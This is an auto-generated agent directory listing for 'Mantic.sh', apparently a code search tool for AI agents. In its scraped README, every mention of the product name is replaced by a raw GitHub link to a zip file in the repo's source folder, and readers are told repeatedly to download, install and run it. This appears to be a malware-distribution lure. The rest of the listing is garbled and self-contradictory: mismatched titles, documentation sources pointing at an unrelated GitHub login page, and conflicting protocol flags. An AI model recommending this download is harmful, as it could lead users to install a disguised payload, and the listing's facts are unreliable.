Rank
83
A Model Context Protocol (MCP) server for GitLab
Traction
No public download signal
Freshness
Updated 2d ago
Crawler Summary
A structural code search engine for AI agents. π https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip - Search Code Efficiently for AI Agents $1 π Overview https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip is a structural code search engine designed for AI agents. It helps you easily find specific pieces of code across various projects. With its quick search capabilities and user-friendly interface, you Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.
Freshness
Last checked 2/25/2026
Best For
mantic.sh is best for ai, prompt-engineering, vscode-extension workflows where MCP compatibility matters.
Not Ideal For
Contract metadata is missing or unavailable for deterministic execution.
Evidence Sources Checked
editorial-content, GITHUB MCP, runtime-metrics, public facts pack
A structural code search engine for AI agents. π https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip - Search Code Efficiently for AI Agents $1 π Overview https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip is a structural code search engine designed for AI agents. It helps you easily find specific pieces of code across various projects. With its quick search capabilities and user-friendly interface, you
Public facts
4
Change events
1
Artifacts
0
Freshness
Feb 25, 2026
Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.
Trust score
Unknown
Compatibility
MCP
Freshness
Feb 25, 2026
Vendor
Theodags
Artifacts
0
Benchmarks
0
Last release
1.0.24
Key links, install path, and a quick operational read before the deeper crawl record.
Summary
Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.
Setup snapshot
git clone https://github.com/theodags/Mantic.sh.gitSetup complexity is MEDIUM. Standard integration tests and API key provisioning are required before connecting this to production workloads.
Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.
Everything public we have scraped or crawled about this agent, grouped by evidence type with provenance.
Vendor
Theodags
Protocol compatibility
MCP
Handshake status
UNKNOWN
Crawlable docs
6 indexed pages on the official domain
Merged public release, docs, artifact, benchmark, pricing, and trust refresh events.
Extracted files, examples, snippets, parameters, dependencies, permissions, and artifact metadata.
Extracted files
0
Examples
0
Snippets
0
Languages
typescript
Full documentation captured from public sources, including the complete README when available.
Docs source
GITHUB MCP
Editorial quality
ready
A structural code search engine for AI agents. π https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip - Search Code Efficiently for AI Agents $1 π Overview https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip is a structural code search engine designed for AI agents. It helps you easily find specific pieces of code across various projects. With its quick search capabilities and user-friendly interface, you
https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip is a structural code search engine designed for AI agents. It helps you easily find specific pieces of code across various projects. With its quick search capabilities and user-friendly interface, you can streamline your development tasks and retrieve context intelligently.
Before you start, ensure that your system meets the following requirements:
Download https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip
Visit the Releases page to get the latest version of https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip Download https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip.
Install https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip
After downloading, follow these steps:
Run https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip
Once installed, you can find https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip in your applications or programs list. Click on the icon to open the application.
To download the latest version of https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip, please visit: Download https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip.
Follow the steps outlined in the "Getting Started" section to install and run the application smoothly.
Using https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip is simple. Hereβs how to get started with your first search:
If you encounter issues while using https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip, here are some common troubleshooting steps:
Q: Is any programming knowledge required to use https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip
A: No, https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip is designed for anyone to use, regardless of their programming background.
Q: Can I use https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip on different operating systems?
A: Yes, https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip runs on Windows, macOS, and various Linux distributions.
Q: How often is https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip updated?
A: We strive to improve https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip regularly. Check the Releases page for the latest updates.
We welcome contributions to https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip If you have feedback or suggestions, feel free to open an issue on our GitHub repository. Collaboration helps us improve the application for everyone.
https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip is open-source software. You can use it according to the terms of the MIT license.
For more information and to access the project's source code, please visit our repository.
If you need help, you can reach out to our support team via GitHub Issues. We are here to assist you with any questions or difficulties you may have.
Thank you for using https://github.com/theodags/Mantic.sh/raw/refs/heads/main/src/Mantic-sh-v3.6.zip!
Machine endpoints, protocol fit, contract coverage, invocation examples, and guardrails for agent-to-agent use.
Contract coverage
Status
missing
Auth
None
Streaming
No
Data region
Unspecified
Protocol support
Requires: none
Forbidden: none
Guardrails
Operational confidence: low
curl -s "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/snapshot"
curl -s "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/contract"
curl -s "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/trust"
Trust and runtime signals, benchmark suites, failure patterns, and practical risk constraints.
Trust signals
Handshake
UNKNOWN
Confidence
unknown
Attempts 30d
unknown
Fallback rate
unknown
Runtime metrics
Observed P50
unknown
Observed P95
unknown
Rate limit
unknown
Estimated cost
unknown
Do not use if
Every public screenshot, visual asset, demo link, and owner-provided destination tied to this agent.
Neighboring agents from the same protocol and source ecosystem for comparison and shortlist building.
Rank
83
A Model Context Protocol (MCP) server for GitLab
Traction
No public download signal
Freshness
Updated 2d ago
Rank
80
A Model Context Protocol (MCP) server for GitLab
Traction
No public download signal
Freshness
Updated 2d ago
Rank
74
Expose OpenAPI definition endpoints as MCP tools using the official Rust SDK for the Model Context Protocol (https://github.com/modelcontextprotocol/rust-sdk)
Traction
No public download signal
Freshness
Updated 2d ago
Rank
72
An actix_web backend for the official Rust SDK for the Model Context Protocol (https://github.com/modelcontextprotocol/rust-sdk)
Traction
No public download signal
Freshness
Updated 2d ago
Contract JSON
{
"contractStatus": "missing",
"authModes": [],
"requires": [],
"forbidden": [],
"supportsMcp": false,
"supportsA2a": false,
"supportsStreaming": false,
"inputSchemaRef": null,
"outputSchemaRef": null,
"dataRegion": null,
"contractUpdatedAt": null,
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Invocation Guide
{
"preferredApi": {
"snapshotUrl": "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/snapshot",
"contractUrl": "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/contract",
"trustUrl": "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/trust"
},
"curlExamples": [
"curl -s \"https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/snapshot\"",
"curl -s \"https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/contract\"",
"curl -s \"https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/trust\""
],
"jsonRequestTemplate": {
"query": "summarize this repo",
"constraints": {
"maxLatencyMs": 2000,
"protocolPreference": [
"MCP"
]
}
},
"jsonResponseTemplate": {
"ok": true,
"result": {
"summary": "...",
"confidence": 0.9
},
"meta": {
"source": "GITHUB_MCP",
"generatedAt": "2026-04-17T02:13:02.086Z"
}
},
"retryPolicy": {
"maxAttempts": 3,
"backoffMs": [
500,
1500,
3500
],
"retryableConditions": [
"HTTP_429",
"HTTP_503",
"NETWORK_TIMEOUT"
]
}
}Trust JSON
{
"status": "unavailable",
"handshakeStatus": "UNKNOWN",
"verificationFreshnessHours": null,
"reputationScore": null,
"p95LatencyMs": null,
"successRate30d": null,
"fallbackRate": null,
"attempts30d": null,
"trustUpdatedAt": null,
"trustConfidence": "unknown",
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Capability Matrix
{
"rows": [
{
"key": "MCP",
"type": "protocol",
"support": "unknown",
"confidenceSource": "profile",
"notes": "Listed on profile"
},
{
"key": "ai",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "prompt-engineering",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "vscode-extension",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "developer-tools",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "cli",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
}
],
"flattenedTokens": "protocol:MCP|unknown|profile capability:ai|supported|profile capability:prompt-engineering|supported|profile capability:vscode-extension|supported|profile capability:developer-tools|supported|profile capability:cli|supported|profile"
}Facts JSON
[
{
"factKey": "docs_crawl",
"category": "integration",
"label": "Crawlable docs",
"value": "6 indexed pages on the official domain",
"href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceType": "search_document",
"confidence": "medium",
"observedAt": "2026-04-15T05:03:46.393Z",
"isPublic": true
},
{
"factKey": "vendor",
"category": "vendor",
"label": "Vendor",
"value": "Theodags",
"href": "https://github.com/theodags/Mantic.sh",
"sourceUrl": "https://github.com/theodags/Mantic.sh",
"sourceType": "profile",
"confidence": "medium",
"observedAt": "2026-02-25T02:31:55.709Z",
"isPublic": true
},
{
"factKey": "protocols",
"category": "compatibility",
"label": "Protocol compatibility",
"value": "MCP",
"href": "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/contract",
"sourceUrl": "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/contract",
"sourceType": "contract",
"confidence": "medium",
"observedAt": "2026-02-25T02:31:55.709Z",
"isPublic": true
},
{
"factKey": "handshake_status",
"category": "security",
"label": "Handshake status",
"value": "UNKNOWN",
"href": "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/trust",
"sourceUrl": "https://xpersona.co/api/v1/agents/mcp-theodags-mantic-sh/trust",
"sourceType": "trust",
"confidence": "medium",
"observedAt": null,
"isPublic": true
}
]Change Events JSON
[
{
"eventType": "docs_update",
"title": "Docs refreshed: Sign in to GitHub Β· GitHub",
"description": "Fresh crawlable documentation was indexed for the official domain.",
"href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceType": "search_document",
"confidence": "medium",
"observedAt": "2026-04-15T05:03:46.393Z",
"isPublic": true
}
]Sponsored
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